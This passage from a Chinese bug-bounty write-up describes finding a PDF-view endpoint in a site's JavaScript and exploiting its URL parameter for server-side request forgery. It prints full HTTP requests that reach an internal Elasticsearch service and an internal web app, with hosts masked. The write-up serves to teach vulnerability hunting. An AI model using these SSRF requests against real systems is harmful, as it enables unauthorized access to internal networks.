在/js/apply.js文件中发现了系统接口:file/pdf/view?file=
将一级接口目录/xxxapi/与系统接口file/pdf/view?file=进行拼接,组成可用接口:
?file=并且发现JavaScript代码中的逻辑是:接口 + ecsUrl,因此猜测file参数为一个URL。
接下来尝试调用接口进行SSRF利用。
首先,使用VPS监听端口,尝试直接利用SSRF访问我们的端口,发现成功接收到了Java语言进行的HTTP请求!
至此证明了漏洞是存在的,接下来利用SSRF进行内网资源的请求尝试,由于在之前的测试中,已经收集到了一部分内网资产,所以直接拿过来测试访问即可。
测试访问内网Elasticsearch服务::9200
GET /xxxapi/file/pdf/view?file=http://10.x.x.191:9200/ HTTP/1.1 Host: xxx-desktop.xxx.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
测试访问内网Web应用服务::8081/
GET /xxxhapi/file/pdf/view?file=http://10.x.x.65:8081 HTTP/1.1 Host: xxx-desktop.xxx.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
至此,捕获了一枚相当于搭建了一条内网HTTP隧道的高危SSRF漏洞。
结语此次漏洞挖掘中总结到如下几点:
1. 系统无功能、无JavaScript文件、访问空白,尝试在HTML源码中获取一些信息;
2. 尽可能的在有用的信息中发掘更多的利用点,拓展思路;
3. “404”确实是“404”,而“403”有时候并不是“403”。
从开始的 “404” Not Found,
到中间的 “403” Forbidden,
再到最后的高危SSRF漏洞;
每一步都仿佛是被上天安排好的剧本那样,
像是一次运气游戏,
又像是一场美丽的相遇。
也许挖洞一直都是这样,简单的漏洞随手可得,艰难的挖掘过程才会让人回味无穷~
希望能给大家带来一些简单的挖洞思路~
谢谢!
欢迎加入漏洞挖掘交流群交流~ 可加我:aedovo